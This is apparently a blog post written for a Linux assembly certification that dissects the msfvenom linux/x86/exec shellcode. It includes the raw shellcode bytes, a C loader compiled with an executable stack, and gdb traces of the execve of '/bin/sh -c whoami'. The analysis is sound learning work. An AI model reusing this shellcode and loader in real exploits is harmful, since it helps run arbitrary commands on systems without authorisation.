Linux / x86 Msfvenom Exec shellcode analysis

Today we will analyse the shellcode for msfvenom payload “payload/linux/x86/exec” . So lets check the payload options for it.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:


       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    vlad902 <vlad902@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

 this payload accepts a “CMD” parameter, which is the code to be executed on the system. I will use “whoami” command for analyzing the generated shellcode. Lets pipe the output to ndisasm.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80

initially we see that, syscall number “11” stored on eax. which implies that its making use of execve to execute our desired command! there are weird call instruction in the middle , we can see edx register getting set with null, along with setting argument 1 (“/bin/sh”) on ebx register. and “push word 0x632d” translates to “-c” in ASCII text, this hints that execve may be called as follows to execute our command.

execve(“/bin/sh”,[*(“/bin/sh”),”-c”,”whoami”],0)

but we note that there is no string “whoami” that is our command in the dissected assembly code. lets analyze the same code in gdb for further inspection.specifically on that call instruction.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes
Final size of c file: 201 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";

Lets place this in our c template program and run inside gdb.

#include<stdio.h>
#include<string.h>


unsigned char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";




int main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	
	int (*ret)() = (int(*)())code;

	ret();

}

we will use GDB extended with Peda for smoother analysis. As Peda has some very cool integrated features which helps us in easier dissection.Lets place a breakpoint at our shellcode.

root@kali:~/slae_analyze/msf_exec# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
root@kali:~/slae_analyze/msf_exec# ./shellcode
Shellcode Length:  15
root
root@kali:~/slae_analyze/msf_exec# gdb -q ./shellcode
Reading symbols from ./shellcode...(no debugging symbols found)...done.
gdb-peda$ break *&code
Breakpoint 1 at 0x2040
gdb-peda$ run


We dissemble at the start of our shellcode.

[----------------------------------registers-----------------------------------]
EAX: 0x402040 --> 0x99580b6a 
EBX: 0x402000 --> 0x1efc 
ECX: 0x0 
EDX: 0xb7fab890 --> 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff26c --> 0x40059d (<main+80>:	mov    eax,0x0)
EIP: 0x402040 --> 0x99580b6a
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40203a:	add    BYTE PTR [eax],al
   0x40203c:	add    BYTE PTR [eax],al
   0x40203e:	add    BYTE PTR [eax],al
=> 0x402040 <code>:	push   0xb
   0x402042 <code+2>:	pop    eax
   0x402043 <code+3>:	cdq    
   0x402044 <code+4>:	push   edx
   0x402045 <code+5>:	pushw  0x632d
[------------------------------------stack-------------------------------------]
0000| 0xbffff26c --> 0x40059d (<main+80>:	mov    eax,0x0)
0004| 0xbffff270 --> 0x1 
0008| 0xbffff274 --> 0xbffff334 --> 0xbffff4df ("/root/slae_analyze/msf_exec/shellcode")
0012| 0xbffff278 --> 0xbffff33c --> 0xbffff505 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xbffff27c --> 0x402040 --> 0x99580b6a 
0020| 0xbffff280 --> 0xbffff2a0 --> 0x1 
0024| 0xbffff284 --> 0x0 
0028| 0xbffff288 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00402040 in code ()
gdb-peda$ disassemble
Dump of assembler code for function code:
=> 0x00402040 <+0>:	push   0xb
   0x00402042 <+2>:	pop    eax
   0x00402043 <+3>:	cdq    
   0x00402044 <+4>:	push   edx
   0x00402045 <+5>:	pushw  0x632d
   0x00402049 <+9>:	mov    edi,esp
   0x0040204b <+11>:	push   0x68732f
   0x00402050 <+16>:	push   0x6e69622f
   0x00402055 <+21>:	mov    ebx,esp
   0x00402057 <+23>:	push   edx
   0x00402058 <+24>:	call   0x402064 <code+36>
   0x0040205d <+29>:	ja     0x4020c7
   0x0040205f <+31>:	outs   dx,DWORD PTR ds:[esi]
   0x00402060 <+32>:	popa   
   0x00402061 <+33>:	ins    DWORD PTR es:[edi],dx
   0x00402062 <+34>:	imul   eax,DWORD PTR [eax],0xe1895357
   0x00402068 <+40>:	int    0x80
   0x0040206a <+42>:	add    BYTE PTR [eax],al
End of assembler dump.

we see that call instruction again with jump to some memory location. lets analyse by break at that location. 

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0x0 
EDX: 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0xbffff266 --> 0x632d ('-c')
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff256 --> 0x40205d ("whoami")
EIP: 0x402064 --> 0xe1895357
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x402064 <code+36>:	push   edi
   0x402065 <code+37>:	push   ebx
   0x402066 <code+38>:	mov    ecx,esp
   0x402068 <code+40>:	int    0x80
[------------------------------------stack-------------------------------------]
0000| 0xbffff256 --> 0x40205d ("whoami")
0004| 0xbffff25a --> 0x0 
0008| 0xbffff25e ("/bin/sh")
0012| 0xbffff262 --> 0x68732f ('/sh')
0016| 0xbffff266 --> 0x632d ('-c')
0020| 0xbffff26a --> 0x59d0000 
0024| 0xbffff26e --> 0x10040 
0028| 0xbffff272 --> 0xf3340000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00402064 in code ()

As we see,  memory address containing our command string(“whoami”) is pushed onto to the stack . lets verify that what we assume is true.

gdb-peda$ x/s 0x40205d
0x40205d <code+29>:	"whoami"

Now lets break before calling interrupt to verify that all the arguments are on the stack setup for execve to execute.

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0xbffff24e --> 0xbffff25e ("/bin/sh")
EDX: 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0xbffff266 --> 0x632d ('-c')
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff24e --> 0xbffff25e ("/bin/sh")
EIP: 0x402068 --> 0x80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x402060 <code+32>:	popa   
   0x402061 <code+33>:	ins    DWORD PTR es:[edi],dx
   0x402062 <code+34>:	imul   eax,DWORD PTR [eax],0xe1895357
=> 0x402068 <code+40>:	int    0x80
   0x40206a <code+42>:	add    BYTE PTR [eax],al
   0x40206c:	add    BYTE PTR [eax],al
   0x40206e:	add    BYTE PTR [eax],al
   0x402070:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff24e --> 0xbffff25e ("/bin/sh")
0004| 0xbffff252 --> 0xbffff266 --> 0x632d ('-c')
0008| 0xbffff256 --> 0x40205d ("whoami")
0012| 0xbffff25a --> 0x0 
0016| 0xbffff25e ("/bin/sh")
0020| 0xbffff262 --> 0x68732f ('/sh')
0024| 0xbffff266 --> 0x632d ('-c')
0028| 0xbffff26a --> 0x59d0000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00402068 in code ()
gdb-peda$ info registers
eax            0xb	0xb
ecx            0xbffff24e	0xbffff24e
edx            0x0	0x0
ebx            0xbffff25e	0xbffff25e
esp            0xbffff24e	0xbffff24e
ebp            0xbffff288	0xbffff288
esi            0xb7faa000	0xb7faa000
edi            0xbffff266	0xbffff266
eip            0x402068	0x402068 <code+40>
eflags         0x282	[ SF IF ]
cs             0x73	0x73
ss             0x7b	0x7b
ds             0x7b	0x7b
es             0x7b	0x7b
fs             0x0	0x0
gs             0x33	0x33

From the above code its clear that all the arguments for execve has been set properly before the interrupt. ebx contains /bin/sh string. and ecx contains address “0xbffff24e” (ESP) which points to memory location “0xbffff25e” which is nothing but address  of the /bin/sh followed by other arguments which are present on the stack.

gdb-peda$ x/s 0xbffff25e
0xbffff25e:	"/bin/sh"

Finally our code executes successfully ..

gdb-peda$ s
process 9452 is executing new program: /bin/dash

process 9497 is executing new program: /usr/bin/whoami

#output of our command "whoami"
root

[Inferior 2 (process 9497) exited normally]
Warning: not running or target is remote

Thats it for today. I will take up more shellcode analysis in the next few posts. Thank you!

Github Repo link :

https://github.com/strikergoutham/SLAE_assignments

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.

(https://www.pentesteracademy.com/course?id=3)

SLAE student ID :  SLAE – 1367